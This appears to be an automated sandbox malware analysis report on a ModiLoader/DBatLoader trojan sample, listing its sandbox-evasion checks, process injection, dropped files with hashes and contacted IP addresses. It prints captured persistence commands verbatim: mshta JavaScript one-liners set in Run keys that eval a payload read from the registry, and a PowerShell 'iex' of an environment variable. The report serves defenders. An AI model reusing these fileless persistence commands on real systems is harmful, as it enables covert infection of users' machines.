Malware Analysis Report

2024-08-06 14:31

Sample ID 240526-kx6bcadg93
Target 74f56722bc9a37b63e8afa04387a3175_JaffaCakes118
SHA256 0a87aba4a7fc0fa336891cfbc6618106b3cd432dcb895bf5c34e3a5909baaf55
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

0a87aba4a7fc0fa336891cfbc6618106b3cd432dcb895bf5c34e3a5909baaf55

Threat Level: Known bad

The file 74f56722bc9a37b63e8afa04387a3175_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

Process spawned unexpected child process

ModiLoader, DBatLoader

Checks for common network interception software

Looks for VirtualBox drivers on disk

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Looks for VMWare Tools registry key

Deletes itself

Checks computer location settings

Checks BIOS information in registry

Drops startup file

Maps connected drives based on registry

Adds Run key to start application

Drops file in System32 directory

Suspicious use of SetThreadContext

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious behavior: MapViewOfSection

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-26 08:59

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-26 08:59

Reported

2024-05-26 09:02

Platform

win7-20231129-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
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Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be09.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:d4Fcg=\"A5yy2\";l2X=new%20ActiveXObject(\"WScript.Shell\");QmbIF2V=\"HBPRi\";OH14kz=l2X.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\hsgrudze\\\\zdxvakv\");hB7sIUi4=\"i\";eval(OH14kz);qpWxCD1m1=\"X\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:N5hA8a=\"Ul\";FV8=new%20ActiveXObject(\"WScript.Shell\");L2BUa=\"9XDtMe\";E2YmP3=FV8.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");zn4TYQ9G=\"T1jO6\";eval(E2YmP3);XpY2Y3=\"iik28qK\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\4168\\eecd.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2284 set thread context of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2668 set thread context of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 set thread context of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f3 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\.983f3\ = "81b4" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b4 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b4\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b4\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b4\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000_CLASSES\81b4\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:YR5HT=\"Wpxx4ZT\";Ru19=new ActiveXObject(\"WScript.Shell\");Yr8OW=\"G\";dmuw6=Ru19.RegRead(\"HKCU\\\\software\\\\hsgrudze\\\\zdxvakv\");n4p3Tq=\"80H\";eval(dmuw6);LMk60wTu=\"mESp\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
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N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2284 wrote to memory of 2184 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 2724 wrote to memory of 2668 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2724 wrote to memory of 2668 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2724 wrote to memory of 2668 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2724 wrote to memory of 2668 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2668 wrote to memory of 2440 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2440 wrote to memory of 956 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:jP5b1w="H";D00n=new%20ActiveXObject("WScript.Shell");mQmE5oIY6="m";DQqL9=D00n.RegRead("HKCU\\software\\e8s5EmV3S\\Nw2jyD7v0");Ko2Dapa="eX";eval(DQqL9);IVT8pyb3="j2";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vdaxa

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
BR 187.96.215.168:80 tcp
GB 84.65.161.43:80 tcp
FR 213.215.25.170:80 tcp
US 169.83.10.200:80 tcp
DE 79.219.45.122:80 tcp
US 185.12.4.33:80 tcp
US 138.65.42.149:80 tcp
IT 157.27.147.129:80 tcp
US 74.153.173.217:80 tcp
US 150.196.163.250:80 tcp
SA 95.186.21.153:80 tcp
US 96.237.253.83:80 tcp
NL 145.32.58.211:80 tcp
US 168.183.248.37:80 tcp
DE 31.243.215.201:80 tcp
US 152.8.111.3:80 tcp
HK 223.120.205.250:80 tcp
US 28.201.219.164:80 tcp
UA 37.115.227.232:80 tcp
CN 123.56.122.114:80 tcp
IE 87.198.103.4:80 tcp
CN 113.27.12.99:80 tcp
CN 202.201.246.242:80 tcp
US 107.114.127.140:80 tcp
JP 180.37.142.38:80 tcp
US 68.235.100.157:8080 tcp
US 215.3.215.160:80 tcp
DE 141.84.21.48:80 tcp
US 184.219.63.130:80 tcp
PT 2.82.226.251:80 tcp
US 192.5.199.129:80 tcp
CA 70.53.87.156:80 tcp
CN 117.29.148.88:80 tcp
US 23.208.9.232:80 tcp
CN 171.218.180.177:80 tcp
BR 186.221.34.184:80 tcp
RO 86.35.39.247:80 tcp
US 96.41.222.85:80 tcp
CL 156.97.57.42:80 tcp
AU 203.37.245.213:80 tcp
US 12.44.225.73:80 tcp
IT 217.223.195.233:80 tcp
JP 114.167.214.213:8080 tcp
US 70.158.52.99:80 tcp
US 166.200.81.86:80 tcp
US 214.209.137.211:80 tcp
GY 181.41.93.247:80 tcp
JP 221.99.40.203:80 tcp
TH 1.46.158.97:80 tcp
JP 121.102.112.15:80 tcp
PL 185.210.126.177:80 tcp
CN 118.247.55.255:80 tcp
FR 164.129.197.118:80 tcp
UA 95.133.164.84:80 tcp
IN 103.194.224.139:80 tcp
CN 43.183.181.210:80 tcp
US 16.4.124.176:80 tcp
US 38.204.60.82:80 tcp
VE 200.82.137.121:80 tcp
KR 211.205.68.186:80 tcp
GB 212.118.235.112:80 tcp
CN 220.243.140.40:80 tcp
US 74.124.157.99:80 tcp
AR 200.41.36.146:80 tcp
IT 2.39.178.100:80 tcp
US 44.101.195.75:80 tcp
GB 77.108.152.232:80 tcp
CH 185.51.70.161:80 tcp
JP 219.215.131.79:80 tcp
IT 150.145.214.162:80 tcp
US 96.211.16.43:80 tcp
US 8.31.87.186:80 tcp
CN 118.202.128.233:80 tcp
JP 219.174.105.110:443 tcp
PL 194.92.60.89:80 tcp
US 57.121.99.102:8080 tcp
US 136.27.139.16:80 tcp
UA 93.73.207.147:443 tcp
US 11.107.155.30:80 tcp
LT 82.135.207.90:80 tcp
BR 179.108.77.233:80 tcp
US 17.107.53.196:443 tcp
MX 189.160.19.117:80 tcp
CN 101.204.68.81:80 tcp
CN 110.231.82.98:80 tcp
US 6.196.156.173:80 tcp
US 135.178.142.201:80 tcp
US 15.126.113.130:80 tcp
JP 133.100.74.191:80 tcp
JP 219.116.67.245:8080 tcp
US 143.236.83.25:80 tcp
CN 39.191.127.143:80 tcp
PA 190.140.201.190:80 tcp
US 30.151.218.157:80 tcp
US 66.158.71.230:443 tcp
US 167.135.30.161:80 tcp
CR 181.194.188.53:80 tcp
UA 31.28.243.137:80 tcp
US 69.117.125.166:80 tcp
US 75.120.47.157:80 tcp
IN 27.107.163.223:80 tcp
CH 192.33.220.251:80 tcp
IN 115.241.6.64:80 tcp
US 158.15.251.209:80 tcp
IN 157.167.205.235:80 tcp
CN 114.135.96.209:80 tcp
US 73.232.248.147:80 tcp
TW 140.133.30.10:80 tcp
US 11.104.60.103:80 tcp
US 167.186.160.37:80 tcp
EG 197.193.238.162:80 tcp

Files

memory/2184-2-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2184-4-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2184-5-0x0000000000400000-0x000000000043C000-memory.dmp

memory/2184-6-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2184-7-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2184-8-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2184-11-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2184-12-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2668-18-0x00000000060E0000-0x00000000061BA000-memory.dmp

memory/2440-19-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2668-22-0x00000000060E0000-0x00000000061BA000-memory.dmp

memory/2440-25-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-27-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-26-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-40-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-37-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-42-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-35-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-33-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-31-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-28-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-24-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-23-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-21-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-44-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-50-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-55-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-54-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-53-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-52-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-51-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-45-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-43-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-41-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-39-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-38-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-36-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-34-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-32-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-30-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2440-29-0x0000000000250000-0x0000000000397000-memory.dmp

memory/2668-20-0x0000000002EE0000-0x0000000004EE0000-memory.dmp

memory/2184-56-0x0000000001E10000-0x0000000001EEA000-memory.dmp

memory/2440-69-0x0000000000250000-0x0000000000397000-memory.dmp

memory/956-79-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-80-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-78-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-76-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-75-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-73-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-72-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-77-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-74-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-71-0x0000000000110000-0x0000000000257000-memory.dmp

memory/956-70-0x0000000000110000-0x0000000000257000-memory.dmp

C:\Users\Admin\AppData\Local\4168\7efa.bat

MD5 08e56cc9d2583a5c6a8533a4fdbad668
SHA1 a8ed59f1b9c09ae18b8af9c04aca3bdffd37b3b5
SHA256 c70f47e24af22be78fda2bfb04b874d74a8a8683da980cb38411d5935c201691
SHA512 f8ad6f6dd616daff626098f9d1802526cfab093e3d8d75a01ef000d90425fff9d8cc24a5b49d820c9c8ae19f7821c0a64daf7c6f668538c3c9374ca4349bb4b7

C:\Users\Admin\AppData\Roaming\730a\791d.983f3

MD5 adefc374de3cec8303566f500d890097
SHA1 83007f08f6e835f101c13260e7f332c9f49668bb
SHA256 d97a9c0d5996b49983dbcea59c097d133de1598ef0f37ac8eb93b55a327924ad
SHA512 3d4588d4d7c3f58ad9ceaa9cb27fc0a89c140e346c703547d647f7b7edcc82c01d2ce8411289b463a99fbdee7f9912336fcbd24798d183bbe8574001a1e70cbd

C:\Users\Admin\AppData\Local\4168\eecd.lnk

MD5 8e9c28d2d94df59f49b18c73223a0ce6
SHA1 9c07d1a32315fdc8d89419c664fcad30db5b4e7c
SHA256 4543c7cda63c93463ebac3fd7501c72fad7962783fdfdc066e24431b636a6259
SHA512 851cd54058e4c48a57c546ecea79dc3859ef0086a9d15bd448ffd39a0d44a535ca42f015ffd102be67163b29389e4b272ad79995392ce487524977d40cdda1cb

C:\Users\Admin\AppData\Local\4168\1a6b.983f3

MD5 101f93a09139be894ed7dea532741e70
SHA1 479bf1bcc2ec2dcd195fb86bcad6dc2a6efc1289
SHA256 ba6ff74dce61d3241b3994722541fd9e8fadc160a6ed1131daf644d4b9d65b7d
SHA512 d0029f8a5f63e21cfdd09b6528434474a47f3cb6a9e9d60ca2aba393d351a0f9bfbfb90b69c682b9c04a6f7b2367d956444cc7d7638363b1d599b20de1ba67ab

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\be09.lnk

MD5 bb53af7fa8d0b3ebdc15a33719ea8c8d
SHA1 f3fe4cda4f6a0adedfb9b154386846ca1752e8a6
SHA256 a913e416e3c43cd0f4efed991d1a324036684b94c3d482921a4ef4663b10b3e9
SHA512 f415e38eff3834e47653a6cf19ef777a5dc01f98638b8d9ea15fa595dbd649f686f58bb153e1f8d37c339cfb84fa032a4fb74c5a351cdf9d807ae58b8ab2984b

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-26 08:59

Reported

2024-05-26 09:02

Platform

win10v2004-20240426-en

Max time kernel

141s

Max time network

104s

Command Line

"C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3424 set thread context of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
PID 3424 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\74f56722bc9a37b63e8afa04387a3175_JaffaCakes118.exe
